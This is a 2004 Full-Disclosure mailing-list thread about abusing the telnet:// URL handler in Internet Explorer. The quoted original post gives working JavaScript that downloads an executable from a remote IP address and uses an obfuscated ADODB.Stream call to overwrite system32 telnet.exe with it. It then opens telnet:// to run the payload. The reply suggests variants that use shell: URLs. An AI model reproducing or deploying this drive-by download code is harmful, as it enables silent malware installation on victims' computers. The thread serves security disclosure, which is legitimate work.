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RE: telnet URL type used in exploit
From: "KM" <common () mccanless us>
Date: Tue, 20 Jul 2004 15:28:30 -0400

Wouldn't it still work if you used savetopath =
c:\\windows\\system32\\calc.exe
And then did location.href = "shell:system\calc.exe"

Or for that matter just use shell:system\telnet.exe instead of telnet://

-----Original Message-----
From: full-disclosure-admin () lists netsys com
[mailto:full-disclosure-admin () lists netsys com] On Behalf Of Michael Hale
Sent: Tuesday, July 20, 2004 1:39 PM
To: full-disclosure () lists netsys com
Subject: [Full-disclosure] telnet URL type used in exploit

In reply the discussion found at:

http://seclists.org/lists/fulldisclosure/2004/Jul/0528.html

the consesus seems to be that there are no obvious ways to exploit the
mentioned URL types, such as tn3270, telnet, LDAP, rlogin etc. While these
may not be exploitable per se, they certainly are when used in conjction
with other known exploits. Take the following code for
example:

var downloadurl="http://213.159.117.133/dl/loadadv74.exe";;

if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1)
savetopath="C:\\WINDOWS\\system32\\telnet.exe";

if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1)
savetopath="C:\\WINNT\\system32\\telnet.exe";

payloadURL = downloadurl;

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t"
+ "r" + "e" + "a" + "m"; }
var s = new ActiveXObject(bla());

s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(savetopath,2);

location.href = "telnet://";

The JavaScript overwrites telnet.exe with a downloaded executable and then
runs it by pointing the browser at telnet://. Instead of launching a telnet
shell as expected, the attackers code is executed.
This is not only an example of the telnet URL type being involved in an
exploit, but one that actually relies on it.

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Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


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